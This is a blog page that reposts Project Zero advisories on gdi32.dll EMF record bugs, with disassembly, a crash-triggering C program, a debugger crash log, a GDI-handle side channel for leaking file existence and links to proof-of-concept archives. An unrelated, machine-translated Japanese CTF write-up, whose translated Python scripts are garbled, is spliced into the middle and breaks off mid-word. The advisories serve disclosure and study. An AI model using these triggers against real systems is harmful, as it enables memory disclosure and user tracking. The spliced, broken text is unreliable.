Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863592079

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=729

There are two programming errors in the implementation of the COMMENT_MULTIFORMATS record in EMF files, as found in the user-mode gdi32.dll system library. The worst of them may lead to reading beyond allocated heap-based buffers, leading to a crash or potential disclosure of the library client's memory (e.g. Internet Explorer's).

Each of the discovered bugs is briefly described below. The analysis was based on a 32-bit gdi32.dll file found in the C:\Windows\SysWOW64 directory on a fully patched Windows 7 operating system.

--------------------------------------------------------------------------------
- Integer overflow in the sanitization of the EMR_COMMENT_MULTIFORMATS.CountFormats field leading to a heap-based out-of-bounds read
--------------------------------------------------------------------------------

When encountering a COMMENT_MULTIFORMATS record, the MRGDICOMMENT::bPlay() function starts off by sanitizing the 32-bit EMR_COMMENT_MULTIFORMATS.CountFormats field, by ensuring the following:

1) EMR_COMMENT_MULTIFORMATS.CountFormats < 0xFFFFFFF
2) 0x28 + (0x10 * EMR_COMMENT_MULTIFORMATS.CountFormats) fits within the EMF record.

Or, in assembly:

--- cut ---
.text:7DAE7B3A                 mov     eax, [esi+24h]
.text:7DAE7B3D                 cmp     eax, 0FFFFFFFh
.text:7DAE7B42                 jnb     short loc_7DAE7ADC
.text:7DAE7B44                 shl     eax, 4
.text:7DAE7B47                 add     eax, 28h
.text:7DAE7B4A                 push    eax             ; unsigned __int32
.text:7DAE7B4B                 push    [ebp+arg_4]     ; struct tagHANDLETABLE *
.text:7DAE7B4E                 mov     ecx, esi        ; this
.text:7DAE7B50                 call    ?bValidSize@MR@@QAEHPAUtagHANDLETABLE@@K@Z ; MR::bValidSize(tagHANDLETABLE *,ulong)
.text:7DAE7B55                 test    eax, eax
.text:7DAE7B57                 jz      short loc_7DAE7ADC
--- cut ---

Since all calculations are performed on 32-bit types, it is possible to satisfy both conditions with the invalid 0xFFFFFFE value: 0x28 + (0x10 * 0xFFFFFFE) = 0x100000008 = (uint32)0x8.

The value is then used to iterate over EmrFormat objects assumed to reside in the current EMR_COMMENT_MULTIFORMATS record, searching for either ENHMETA_SIGNATURE (embedded EMF file) or EPS_SIGNATURE (embedded PostScript). If either of the signatures is found, the corresponding object is handled accordingly; other objects are skipped. The issue can therefore be used to have uninitialized / out-of-bounds heap data interpreted as EMF or PostScript, which could be then potentially retrieved back in GDI clients such as Internet Explorer.

The attached poc1.emf file illustrates the problem by crashing Internet Explorer, which attempts to read an EmrFormat signature outside of a page boundary.

--------------------------------------------------------------------------------
- Lack of EmrFormat.offData field sanitization in EPS_SIGNATURE handling leading to heap-based out-of-bounds read with controlled offset and length
--------------------------------------------------------------------------------

The code in the MRGDICOMMENT::bPlay() function responsible for handling EPS_SIGNATURE EmrFormat objects doesn't sanitize the EmrFormat.offData field before using it as an offset relative to the COMMENT_MULTIFORMATS record memory, in the context of the "source" argument to a memcpy() call ([EBX+4] is EmrFormat.offData):

--- cut ---
.text:7DAE7C27                 mov     eax, [ebx+4]
.text:7DAE7C2A                 lea     eax, [eax+esi+0Ch]
.text:7DAE7C2E                 push    eax             ; Src
.text:7DAE7C2F                 lea     eax, [edi+20h]
.text:7DAE7C32                 push    eax             ; Dst
.text:7DAE7C33                 call    _memcpy
--- cut ---

Lack of the value sanitization can be used to have any heap memory relative to the input record's buffer passed as input of the ENCAPSULATED_POSTSCRIPT escape code sent to the HDC.

The attached poc2.emf file is supposed to illustrate the issue; however, in order to reach the affected code, DrawEscape(HDC, QUERYESCSUPPORT, ENCAPSULATED_POSTSCRIPT) must succeed first. I haven't been able to find a rendering scenario in which a HDC supporting ENCAPSULATED_POSTSCRIPT is used, and thus I haven't managed to fully reproduce a crash (although the bug seems obvious from a manual analysis).


Short update: there is another problem in the gdi32!MRGDICOMMENT::bPlay() function: under several circumstances, it calls the gdi32!GdiComment() function with a fully attacker-controlled "Size" argument, which is assumed by the function to be trusted and is used to copy data out of the record's buffer. One such circumstance is when the MRGDICOMMENT::bIsPublicComment() function return FALSE, which is also under the input file's control. 

--- cut ---
.text:7DAD2ECD                 push    [ebp+arg_4]     ; struct tagHANDLETABLE *
.text:7DAD2ED0                 mov     esi, ecx
.text:7DAD2ED2                 call    ?bCheckRecord@MRGDICOMMENT@@QAEHPAUtagHANDLETABLE@@@Z ; MRGDICOMMENT::bCheckRecord(tagHANDLETABLE *)
.text:7DAD2ED7                 test    eax, eax
.text:7DAD2ED9                 jz      loc_7DAE7ADC
.text:7DAD2EDF                 mov     ecx, esi        ; this
.text:7DAD2EE1                 call    ?bIsPublicComment@MRGDICOMMENT@@QAEHXZ ; MRGDICOMMENT::bIsPublicComment(void)
.text:7DAD2EE6                 test    eax, eax
.text:7DAD2EE8                 jnz     loc_7DAE7AE3
.text:7DAD2EEE
.text:7DAD2EEE loc_7DAD2EEE:                           ; CODE XREF: MRGDICOMMENT::bPlay(void *,tagHANDLETABLE *,uint)+14C3B31j
.text:7DAD2EEE                                         ; MRGDICOMMENT::bPlay(void *,tagHANDLETABLE *,uint)+14C7231j
.text:7DAD2EEE                 lea     eax, [esi+0Ch]
.text:7DAD2EF1                 push    eax             ; lpData
.text:7DAD2EF2                 push    dword ptr [esi+8] ; nSize
.text:7DAD2EF5                 push    [ebp+hdc]       ; hdc
.text:7DAD2EF8                 call    _GdiComment@12  ; GdiComment(x,x,x)
--- cut ---

The invalid copy can occur in another nested function (gdi32!MF_GdiComment), which is only invoked if the HDC being drawn to is another EMF object. I have developed a short POC program to illustrate this:

--- cut ---
#include <windows.h>

int main() {
  RECT rect = {0, 0, 100, 100};
  HDC hdc = CreateEnhMetaFile(NULL, NULL, &rect, NULL);
  HENHMETAFILE hemf = GetEnhMetaFile("poc3.emf");
  PlayEnhMetaFile(hdc, hemf, &rect);
  return 0;
}
--- cut ---

If the attached poc3.emf file (which sets the Size to 0x70707070) is placed in the same directory as the test program, we can observe the following crash:

--- cut ---
(2aa0.2f84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=70a370f0 ebx=00330080 ecx=0071bfe0 edx=00000000 esi=01f9fffc edi=03c10168
eip=77c12588 esp=0028fcf4 ebp=0028fcfc iopl=0         nv dn ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010606
ntdll!memcpy+0x1b8:
77c12588 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> kb
ChildEBP RetAddr  Args to Child              
0028fcfc 762e5bf4 01fa01ec 00330080 70707070 ntdll!memcpy+0x1b8
0028fd10 762e5bb5 70707070 00330080 00330000 GDI32!MRGDICOMMENT::vInit+0x1e
0028fd60 762e5b0d 05212466 70707070 01fa01e0 GDI32!MF_GdiComment+0x21e
0028fd78 762e2efd 05212466 70707070 00330080 GDI32!GdiComment+0x43
0028fdbc 762e4e17 05212466 0078fd50 00000004 GDI32!MRGDICOMMENT::bPlay+0x25a
0028fe34 762eca93 05212466 0078fd50 00330074 GDI32!PlayEnhMetaFileRecord+0x2c5
0028febc 762ecaf2 05212466 403581b4 00000000 GDI32!bInternalPlayEMF+0x66b
*** ERROR: Module load completed but symbols could not be loaded for image00400000
0028fed8 00401478 05212466 05462463 0028fef8 GDI32!PlayEnhMetaFile+0x32
WARNING: Stack unwind information not available. Following frames may be wrong.
0028ff18 004010fd 0028ff28 75a09e34 7efde000 image00400000+0x1478
0028ff94 77c29a02 7efde000 4fdbb63f 00000000 image00400000+0x10fd
0028ffd4 77c299d5 00401280 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
0028ffec 00000000 00401280 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b
--- cut ---


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39833.zip
            

サインイン

タイトルのコンテンツはPDFファイルであり、Adobe Acrobatで開かれ、いくつかの特別なシンボルが含まれていることがわかりました。

編集モードでは、装飾的なフォントであるWingdingsとしてフォントをチェックし、テキストコンテンツは実際にはASCIIコードです。テキストの範囲はページを超えています。サイズ変更後、そのコンテンツがコピーされ、2行のテキストが与えられます。

これはフェンスのパスワードです。GETフラグ{have_a_great_time@geekgame_v1!}。

fa {aeagettm@ekaev!

lghv__ra_iegegm_1}

Xiaobei Q&Aリメイク

北京大学のヤニュアンキャンパスに科学ビルの科学建築物Xの科学建物がありますが、科学(x+1)やその後の建物はありません。 x何? Google Earthで検索すると、5つの科学の構築がありますが、6つの科学の建物はありません。したがって、答えは5です。

最後の(ゼロ)競技では、登録された総人が何人いましたか?北京大学のニュースネットワークでは、北京大学が最初の包括的な情報セキュリティ能力競争を開催し、「この競争に合計407人が登録された」ということが得られたため、答えは407でした。

geekgame.pku.edu.cnのHTTPS証明書は、一度更新を忘れていました。いつ失効しましたか? 「SSL CERTデータベース」を検索し、WebサイトCRT.SHを見つけます。このWebサイトでGeekGame.pku.edu.cnを検索し、タイトルで与えられた正規表現に基づいて3で終了する有効期限が3で終了する証明書を見つけ、その有効期限は7月11日です。 2021-07-11T08:49:53+08:00。

2020年のDEFCON CTF資格コンペティションサインインの質問の旗は何ですか? 2020 defcon ctf qualsを見つけたウェブサイトは、oooo def con ctf qualsです。

ooo {this_is_the_welcome_flag}。

サイズ672328094 * 386900246の正方形のチェスボードに3(同じ)女王を置く方法はいくつありますか?整数シーケンスのオンライン百科事典で「3クイーン」を検索すると、一般的なソリューションは直接見つかりませんが、N X Nボードに3つの非攻撃クイーンを配置する方法はあります。一般的なソリューション式が示されています。

任意$m\times n$棋盘上的3皇后问题

2933523260166137923998409309647057493882806525577536。これは、Mathematicaを使用して直接計算されます。

最後の(ゼロ)コンペティションの「Xiaobei Q&A 1202」という質問には、SQLiteデータベースのテーブルにすべての出場者が提出した回答を保存します。このテーブルの名前は? ZerothコンペティションのGitHubリポジトリGeekGame-0で検索し、SRC/Choice/Game/DB.pyで提出と呼ばれるテーブル名を取得します。

国際的なインターネットは、多くの自律システム(AS)で構成されています。北京大学には独自の自律システムがあります。その数は何ですか?自律システム番号として中国の北京大学を見つけ、AS59201の数を見つけてください。もう1つの検索結果CNGI-BJ-IX3-AS-AP Cernet2 IXは、PEKING UNIVERSITYで、CNは正解ではありません。

2021年6月1日の時点で、中国の名前が長くなった研究室は完全に北京大学の情報科学技術学部にありますか? 「地域光ファイバー通信ネットワークと新しい光学通信システムの国家主要研究所」である情報科学技術学校の2021年入学ガイドで、最長の研究所を見つけてください。

共有マシン

この質問は「未来の機械」に言及しており、ゼロス競争のトピックです。 「未来の機械」の書き込みを読むことで、人間の脳がコードを説明して実行し、旗を逆にする必要があることを学びました。この質問は似ていると思います。

まず、イーサリアムスマートコントラクトのメカニズムを理解する必要があります。スマートコントラクトを作成する際には、Solidityプログラムのバイトコードが必要であり、後で変更することはできません。トランザクションがスマートコントラクトに開始されるたびに、提供されたトランザクション情報とトランザクションのイニシエーターがプログラムへの入力として使用されます。プログラムの操作結果は、ブロックチェーンに保存することも、拒否してトランザクションを拒否して早期に終了することもできます。プログラムは、実行中にメモリとストレージにアクセスできます。メモリはRAMに似ており、プログラムは終了した後に破壊されますが、ストレージはブロックチェーン上の永続的なストレージです。

元のタイトルはビタップのリンクを提供し、2021-10-22と2021-11-07の2つの重要なトランザクションを見ることができます。そのうち2021-10-22のトランザクションはこの契約を作成することです。 2021-11-14以降、他にも多くの失敗したトランザクションがあります。この時点でトピックがリリースされているため、これらの失敗したトランザクションはトピックの一部ではありません。

これとは別に、ビタップに関する詳細な情報は提供されていません。 Ethereum Smart Contracts、Writgentupに関する他のCTFコンテストを検索し、Parity Trace機能を介してトランザクションの詳細を表示できるEtherscan Webサイトを見つけました。さらにエキサイティングなのは、Etherscanが逆コンパイルバイトコード関数に付属していることです。質問に記載されているスマートコントラクトを開いた後、この関数を使用して、逆コンパイルされたソースコードを表示できます。

#Panoramix V4 2019年10月

#ROPSTEN:0XA43028C702C3B119C749306461582BF647FD770Aの分解されたソース

#世界をオープンソースにしましょう

def Storage3360

Stor0はストレージ0のADDRです

Stor1はストレージ1でUINT256です

Stor2はストレージ2のUINT256です

Stor3はストレージ3のUINT256です

def _fallback()payable:#デフォルト関数

戻る

def unknown7fbf5e5a(uint256 _param1、uint256 _param2)payable:

calldata.size -4=64が必要です

stor0!=caller:の場合

stor0!=tx.origin:の場合

stor1!=sha3(発信者):の場合

stor1!=sha3(tx.origin):の場合

0で元に戻し、「発信者は所有者でなければなりません」

stor2=_param1

stor3=_param2

定義不明0677d(uint256 _param1)payable:

calldata.size -4=32が必要です

idx=0

S=0

IDX 64:

idx=idx + 1

s=sまたは(mask(256、-4 * idx、_param1)4 * idx) +(5 * idx) +(7 * mask(256、-4 * idx、stor2)4 * idx)%16 4 * idx

続行します

stor3!=0:の場合

0で元に戻します、「これは本当の旗ではありません!」

返品1

ここでは2つの機能が取得されますが、コール関係は明確ではありません。別のオンラインツールであるオンラインソリティ逆コンパイラで逆コンパイルされ、別の表現を取得し、2つを参照できます。 \ footnote {オンラインSolidity Decompilerの逆コンパイルの結果は長く、オンラインで見ることができるため、記事には投稿されません。重要な部分は後で与えられます。 }

オンラインSolidity Decompilerの結果にはいくつかのGOTOがありますが、ジャンプアドレスはまだ関数内にあるため、コントロールフローを整理する方が簡単です。分析後、最初の関数は所有者が正常に戻すために開始する必要があり、その機能はストレージ[2]とストレージ[3]を変更することであることがわかりました。 2番目の関数は実際に64回ループを実行し、可変VAR0の変更はループで常に使用または計算され、ストレージ[2]に保存されているデータが使用されます。ループの後、var0の動作結果をストレージと比較します[3]。 2つが異なる場合、これは本当の旗ではありません!出力です。言い換えれば、操作後にストレージ[3]と同じになるように、初期のvar0を見つける必要があります。このvar0はおそらく私たちが必要とする旗です。

Solidityコードのこの部分が抽出されます

var arg0=msg.data [0x04:0x24];

var var0=0x00;

var var1=0x00;

while(var10x40){

var0=var0 | (((arg0 var1 *0x04) + var1 *0x05 +(storage [0x02] var1 *0x04) *0x070x0f)var1 *0x04);

var1 +=0x01;

}

if(var0==ストレージ[0x03]){return0x01; }

ビット操作の優先度は、VAR1 *0x04ビットによって最終的に残され、ビットVAR1の内容が事前に渡されることに注意してください。言い換えれば、var0はループ内の最大4ビットによってのみ変更され、各ループによって変更されたビットは互いに干渉しません。これにより、操作プロセス全体が可逆的になります。

さらに、ストレージ[2]とストレージ[3]の値も知る必要があります。これは、2021-11-07のトランザクションを表示することで取得できます。

查看Internal transaction的信息

このようにして、VAR0を反転させるロジックはPythonで実装できます。

Stor2=0x15EEA4B2551F0C96D02A5D62F84CAC8112690D68C47B16814E221B8A37D6C4D3

Stor3=0x293EDEA66635AABCD6DEBA615AB813A7610C1CFB9EFB31CCC5224C0E4B37372

Res=0

フラグ=[]

範囲(0x40):のIの場合

ターゲット=stor3 i * 40x0f

範囲内(0x10):の場合

ANS + I * 5 +(stor2 i * 4) * 70x0f==ターゲット:の場合

flag.insert(0、ans)

print( ''。join([chr(flag [i] * 16 + flag [i + 1])の範囲(0、len(flag)、2)])))))

フラグを取得{n0_s3cret_on_ethereum}。

クラッシュしたridder man

質問は、PCAP形式のパケットキャプチャデータを提供します。チャールズと一緒に開くと、これがJupyterと相互作用するトラフィックであることがわかります。

用Charles查看pcap

ここでは、Jupyterノートブックのコンテンツを直接復元できます。

ZWSP_STEGをインポートします

crypto.randomインポートget_random_bytesから

binasciiをインポートします

def genflag():

return 'flag {%s}'%binascii.hexlify(get_random_bytes(16))。decode()

flag1=genflag()

flag2=genflag()

key=get_random_bytes(len(flag1))

def xor_each(k、b):

アサートレン(k)==レン(b)

out=[]

範囲のi(len(b)):

out.append(b [i] ^ k [i])

バイトを返す(out)

encoded_flag1=xor_each(key、flag1.encode())

encoded_flag2=xor_each(key、flag2.encode())

f:としてopen( 'flag1.txt'、 'wb')

f.write(binascii.hexlify(encoded_flag2))

Jupyterノートブックの出力から、キーは

b '\ x1e \ xe0 [u \ xf2 \ xf2 \ x81 \ x01u_ \ x9d!yc \ x8e \ xce [x \ r \ x04 \ x 94 \ xbc9 \ x1d \ xd7 \ xf8 \ xde \ xdcd \ xb2q \ xa3 \ x8a?\ x16 \ xe5 \ x8a9 ''

encoded_flag1は、flag1およびkeyの排他的または操作に基づいて取得されます。 XOR操作の性質に応じて、flag1はEncoded_flag1およびkeyをエクサージすることで復元できます。

次に、flag1を検索すると、トラフィックにread flag1.txtファイルの内容を見つけることができます。

用Charles读取flag1.txt

これから、flag1を復元できます。

flag1='788C3A1289CBE5383466F9184B07EDAC6A6B3B37F78E0F7CE79BECE502D63091EF5B708887BC44'

flag1=binascii.unhexlify(flag1)

print( ''。join([chr(flag1 [i] ^ key [i])for i in range(len(flag1))])))

flag2の場合、検索後、jupyterワークスペースに2935226バイトのサイズの7zipファイルがあり、その内容が完全にダンプできることがわかりました。ただし、この圧縮ファイルにはパスワードがあり、引き続きマイニングし続ける必要があります。現時点では、チャールズによって指定されたHTTPトラフィックデータは、より有用な情報を抽出できなくなり、代わりにWiresharkを使用できました。案の定、JupyterノートブックのWebSocketプロトコルデータフレームはWiresharkで見つかりました。

Wireshark发现命令行操作

これらのWebSocket DataFrames Record Command-Line操作を完全に記録します。最初にSTEGO-LSBをPIPでインストールし、次にflag2.txtをKi-ringtrain.wavに書き、最後に7ZAで圧縮されたWAVを書きました。パスワードは圧縮中に設定され、そのコマンドラインパラメーターは

-p'wakarimasu! `date` `uname -nom`` nproc` '

7ZAの出力は、CPUモデルがI7-10510Uであることを示しています。これは4C8T Uであるため、NPROC出力は8です。 } uname -oは明らかにgnu/linuxであり、uname -mはx86_64です。 uname -nはホスト名であり、you-kali-vmはコマンドプロンプトのエコーを介して取得されます。

命令提示符中的you-kali-vm

日付の出力については、ホストのタイムゾーンと言語がまだ決定されていないため、いくつかの推測が必要です。また、日付自体には、たとえばいくつかのスタイルの出力もあります

11月6日07:44:16 CST 2021

2021年11月6日07:4:16 AM GMT

最初のデータフレームに対してコマンドが実行される時間のオフセットは、2021年11月6日15:44:16頃に時間が推定されるということです。もちろん、エラーがあり、実際にパスワードをテストしたときにすべてを試しました。幸いなことに、正しいパスワードは手動で試されました。そうしないと、異なるタイムゾーンと言語を通過するためのスクリプトを記述する必要があります。

ワカリマス! 2021年11月6日03:4:15 PM CST YOU-KALI-VM X86_64 GNU/Linux 8

WAVファイルを減圧し、stegolsbを使用して、encoded_flag2であるステガノグラフィー情報を抽出します。

PIP3インストールSTEGO-LSB

stegolsb wavsteg -r -i flag2.wav -o flag2.txt -bytes 76 -n 1

前の記事で述べたのと同じ方法を使用して、flag2を復元します。

Leafの新しい曲

最初にFFProbeを使用してMP3ファイルのメタ情報を表示し、2つの重要なヒントを取得します。

アルバムカバーのアルバム:シークレット!

TrackTotal : AHR0CDOVL2XHYI5TYXH4C29MDC5UZXQVY3RML2XLZ2FJES50NOY

これらは2つのブランチで、次のテキストで個別に説明されています。

夢の時間と空間を月てて

Binwalkを使用して、アルバムカバーがPNG画像であることを確認してください。

Album Cover

この写真は非常に普通に見えます。まず第一に、画像サイズに問題があると推測したため、PNGヘッダーでCRC32検証を実行しましたが、例外はありませんでした。その後、ステガノグラフィー技術が使用され、ステグソルブが使用されると疑われます。 LSBを使用して、3つのRGBチャネルの最低ビットを抽出し、バイナリデコード後に3つの大きな単語「PNG」が表示されます。それは、アイデアが正しいことを意味し、写真を抽出します。

LSB隐写的二维码

これはQRコードですが、一般的なQRコードではありません。 Google画像に投げ入れて、Aztecと呼ばれるものを見つけます。携帯電話でスキャンコードソフトウェアScanditをダウンロードして、コンテンツgur frperg va uvfgbtenzを取得します。 Caesarのパスワードのように見えたので、オンラインツールを見つけて、ヒストグラムで秘密を取得するためにそれを解読しました。

このAZTECコードのグレースケール分布は正しくないように見えますが、Photoshopのヒストグラムはあまり拡大されていないため、Pythonスクリプトを使用してヒストグラムを出力します。

PILインポート画像から

npとしてnumpyをインポートします

im=image.open( 'aztec.png')

cluster=np.zeros(shape=(256))

範囲(1000):のIの場合

範囲(1000):のJの場合

クラスター[im.getpixel((i、j))] +=1

img=image.new(mode='rgb'、size=(256 + 40、50 + 10)、color=(255、255、255))

pixels=img.load()

範囲(len(cluster)):の場合

クラスター[i] 0:の場合

範囲(50):のJの場合

ピクセル[i + 20、j + 5]=(0、0、0)

img.save( 'histogram.png')

ヒストグラムを次の図に示します。

二维码图片的直方图

このヒストグラムは、どのように見てもバーコードです。 XMCP.ltd/kcwbaを取得するには、コードをスキャンし続けます。訪問した後、私はたくさんのウクスを手に入れました。これは頭脳の方言であり、OOKの実行後です!プログラミング言語- 難解なコードデコーダー、エンコーダー、翻訳者、私はフラグを取得します

flag {y0u_h4ve_f0rgott3n_7oo_much}。

StegsolveのUIにはMacOSに問題があり、ZSTEGやStegonlineなどの他のプログラムに置き換えることができます。

夢と現在の領域

別のブランチ、AHR0CDOVL2XHYI5TYXH4C29MDC5UZXQVY3RML2XLZ2FJES50NOYBASE64は3358LAB.MAXXSOFT.NET/CTF/LEGACY.TBZ2を取得してデコードしました。 to_the_past.imgを入手するには、ダウンロードして解凍します。 Disk ImageをmacOSに直接マウントして、memory.zipとnote.txtを取得します。 note.txtの迅速なパスワードは次のとおりです。BinYulingは、Rongzheの芸術の意味です。 Bin Geng Yi Huai ZheはLingzheの意味です。検索後、これがRMBクラウンのパスワードであることがわかり、デコードは72364209117514983984を解読することで取得されます。最初にBinwalkを使用しますが、有用な情報は見つかりませんでした。プロンプトには「赤と白の機械」と「異なる神々を見つける」があるので、Vbindiffを使用して比較します。さまざまなものを見つけることができますが、最長の一般的なサブストリングを使用して、ビットワイズ比較の代わりに比較する必要があります。私はここで怠け者で、比較的単純なスクリプトを書き、エッジケースを少し処理しましたが、いくつかの極端な入力のバグがあります。

f:として開いている( 'left.bin'、 'rb')

lbuf=f.read()

f:として開いている( 'ride.bin'、 'rb')

rbuf=f.read()

lpointer=0

rpointer=0

common=[]

lonly=[]

Ronly=[]

allonly=[]

lpointe

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=722

There are multiple programming errors in the implementation of the CREATECOLORSPACEW record in EMF files, as found in the user-mode gdi32.dll system library. The worst of them may lead to reading beyond allocated heap-based buffers, leading to a crash or potential disclosure of the library client's memory (e.g. Internet Explorer's). Another bug may also lead to disclosure of information regarding the existence of arbitrary files in the file system.

Each of the discovered bugs is briefly described below. The analysis was based on a 32-bit gdi32.dll file found in the C:\Windows\SysWOW64 directory on a fully patched Windows 7 operating system.

--------------------------------------------------------------------------------
- Out-of-bounds read of EMR_CREATECOLORSPACEW.cbData in MRCREATECOLORSPACEW::bCheckRecord
--------------------------------------------------------------------------------

The MRCREATECOLORSPACEW::bCheckRecord() function starts off by checking if the length of the record is greater or equal than 0x50 (80):

--- cut ---
.text:7DB01AEF                 mov     eax, [esi+4]
.text:7DB01AF2                 cmp     eax, 50h
.text:7DB01AF5                 jb      short loc_7DB01B1E
--- cut ---

and then immediately proceeds to reading the .cbData field at offset 0x25c (604):

--- cut ---
.text:7DB01AF7                 mov     ecx, [esi+25Ch]
--- cut ---

Since the record is not guaranteed to be large enough to hold the value at +0x25c, the instruction shown above can read beyond the allocated buffer. The attached oob.emf file illustrates this issue.

--------------------------------------------------------------------------------
- Integer overflow when checking EMR_CREATECOLORSPACEW.cbData in MRCREATECOLORSPACEW::bCheckRecord
--------------------------------------------------------------------------------

Furthermore, the value obtained from offset +0x25c is also used to verify the record length, as part of the (record.length <= ((record->cbData + 0x263) & 0xfffffffc)) expression:

--- cut ---
.text:7DB01AF7                 mov     ecx, [esi+25Ch]
.text:7DB01AFD                 add     ecx, 263h
.text:7DB01B03                 and     ecx, 0FFFFFFFCh
.text:7DB01B06                 cmp     eax, ecx
.text:7DB01B08                 ja      short loc_7DB01B1E
--- cut ---

Since there is no overflow check in the arithmetic operation, if the cbData field is sufficiently large, it may overflow the 32-bit type. It is not clear, however, why the record length is required to be *smaller* than the structure's field in the first place (intuitively, it should be larger). Whether this is a mistake or not doesn't really seem to matter, as the optional color space data is not used further in the MRCREATECOLORSPACEW::bPlay() function anyway.

--------------------------------------------------------------------------------
- Out-of-bounds read in CreateColorSpaceW
--------------------------------------------------------------------------------

The LOGCOLORSPACEW structure passed to CreateColorSpaceW() by MRCREATECOLORSPACEW::bPlay() is assumed to be at least 0x24c (588) bytes long. However, as we've seen before, the record is only guaranteed to be at least 80 bytes long. As a result, in case of a specially crafted small record, the CreateColorSpaceW() function could operate on data well beyond the record's buffer. The memory from outside the buffer could then be potentially recovered by reading back pixels using the HTML5 canvas API, and deriving the uninitialized values of the LOGCOLORSPACEW structure.

The attached oob.emf file also illustrates this issue (in terms of passing OOB heap data to CreateColorSpaceW), provided that the out-of-bounds .cbData check passes successfully in MRCREATECOLORSPACEW::bCheckRecord(), but this is very likely as there are only a few specific values of .cbData which could cause it to fail.

--------------------------------------------------------------------------------
- File existence information disclosure in CreateColorSpaceW
--------------------------------------------------------------------------------

This is perhaps the most interesting bug found in the handling of the CREATECOLORSPACEW / CREATECOLORSPACE EMF records. After being passed a specially crafted LOGCOLORSPACEW structure, the CreateColorSpaceW() function builds a file path based on the LOGCOLORSPACEW.lcsFilename field, using the BuildIcmProfilePath() routine:

--- cut ---
.text:7DAEF12E                 push    104h            ; cchDest
.text:7DAEF133                 lea     eax, [ebp+FileName]
.text:7DAEF139                 push    eax             ; pszDest
.text:7DAEF13A                 push    ebx             ; pszSrc
.text:7DAEF13B                 call    _BuildIcmProfilePath@12 ; BuildIcmProfilePath(x,x,x)
--- cut ---

While paths starting with "\\" are forbidden (limiting access to remote or internal system resources), all other paths, including absolute ones, are allowed. The function then attempts to open the file in order to make sure that it exists, and if this succeeds, the resulting handle is immediately closed:

--- cut ---
      hFile = CreateFileW(&FileName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
      if ( hFile == INVALID_HANDLE_VALUE )
      {
        GdiSetLastError(2016);
        return 0;
      }
      CloseHandle(hFile);
--- cut ---

Only if the file exists, the code proceeds to invoking the NtGdiCreateColorSpace system call, which creates a Color Space GDI object based on the input structure. This behavior can be used to disclose information regarding the existence of specific (attacker-chosen) files in the file system through applications (GDI client) which enable the propagation of rendered image's pixels back to the attacker, such as the Internet Explorer web browser.

The most intuitive way of propagating the result of the CreateFileW() call would be to insert a crafted CREATECOLORSPACEW record in the EMF file, followed by actual drawing primitives. If the color space creation failed (due to a non-existent file), the remainder of the image wouldn't get parsed and displayed, which could then be easily detected in JavaScript. Unfortunately, the idea is blocked in practice by the fact that even if any of the particular EMF record handlers fail, the gdi32!bInternalPlayEMF function only sets a local "status" variable to FALSE, and continues handling subsequent records nevertheless. The status variable is then returned to the caller, but in case of Internet Explorer, it is immediately discarded in the mshtml!CImgTaskEmf::Decode function:

--- cut ---
.text:64162B49                 call    ds:__imp__PlayEnhMetaFile@12 ; PlayEnhMetaFile(x,x,x)
.text:64162B4F                 or      dword ptr [ebx+7Ch], 0FFFFFFFFh
.text:64162B53                 lea     eax, [esp+4C8h+var_49C]
--- cut ---

As a result, the return value of the CreateFileW() call is completely lost and cannot be inferred directly. Instead, a different, indirect approach must be applied, based on the side effects of the CREATECOLORSPACE record handling. When a color space is created, a corresponding GDI handle is created for the process and stored in the EMF handle table. Considering that the default per-process GDI handle quota is set at 10'000, it is feasible to exhaust it by creating an excessive number of objects. The exploit image could be crafted as follows:

1. EMR_HEADER
2. EMR_CREATECOLORSPACE (containing the file system path to examine)
3. EMR_CREATECOLORSPACE
.
.
.
10001. EMR_CREATECOLORSPACE
10002. EMR_CREATEBRUSHINDIRECT
10003. EMR_SELECTOBJECT
10004. EMR_POLYGON
10005. EMR_EOF

If the file path specified in the 10000 EMR_CREATECOLORSPACE records exists, the GDI handle space will be filled up, causing the brush creation in step #10002 to fail, and thus the polygon drawn in step #10004 to not have any color. On the other hand, if the file doesn't exist, none of the color spaces will be created, allowing the creation of a brush, which will then be used to draw a colored polygon. When such an image is loaded over a HTML5 canvas, JavaScript can then read the pixels back using canvas.getImageData(), which is synonymous to the existence (or lack) of the chosen file.

The attached notepad_leak.emf file illustrates the bug. When it is loaded in Internet Explorer in its original form (checking for the existence of C:\Windows\notepad.exe), the edges of the polygon (rectangle) are visible, but there is no fill color. The IE renderer process should have 10'000 GDI handles opened, which can be verified with Task Manager, Process Explorer, or e.g. by trying to use the context menu within the website's window area (it will misbehave due to lack of available GDI handles). When all instances of the "C:\Windows\notepad.exe" string are replaced with a non-existent (but same length, to preserve metadata correctness) path in the POC file, Internet Explorer will correctly display the green polygon fill, and won't hold an excessive number of handles.

James Forshaw noted that the check in BuildIcmProfilePath() against the "\\" prefix (or, in fact, against both '\' and '/' in the first two characters) is not effective in preventing access to UNC paths, as there is an equivalent "\??\" prefix (tested on Windows 7+), which can be used for the same purpose. This observation further elevates the severity of the "file existence information disclosure" bug, as it is now possible to reference nearly all resources the CreateFile() API is capable of opening. Some example risks are as follows:

1) By referencing a file on an attacker-controlled server, it is possible to track users opening the crafted EMF file (within any application using GDI, not just Internet Explorer).

2) Disclosure of the existence of files residing in network shares available to the currently logged in user.

3) James suggested it might also facilitate stealing NTLM hashes.

Another note is that the gdi32.dll SETICMPROFILEA and SETICMPROFILEW record handlers also reference the BuildIcmProfilePath() function, so it might be worth doing some light variant analysis to check if any of the path-related problems described in this bug affect those records too.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39832.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=800

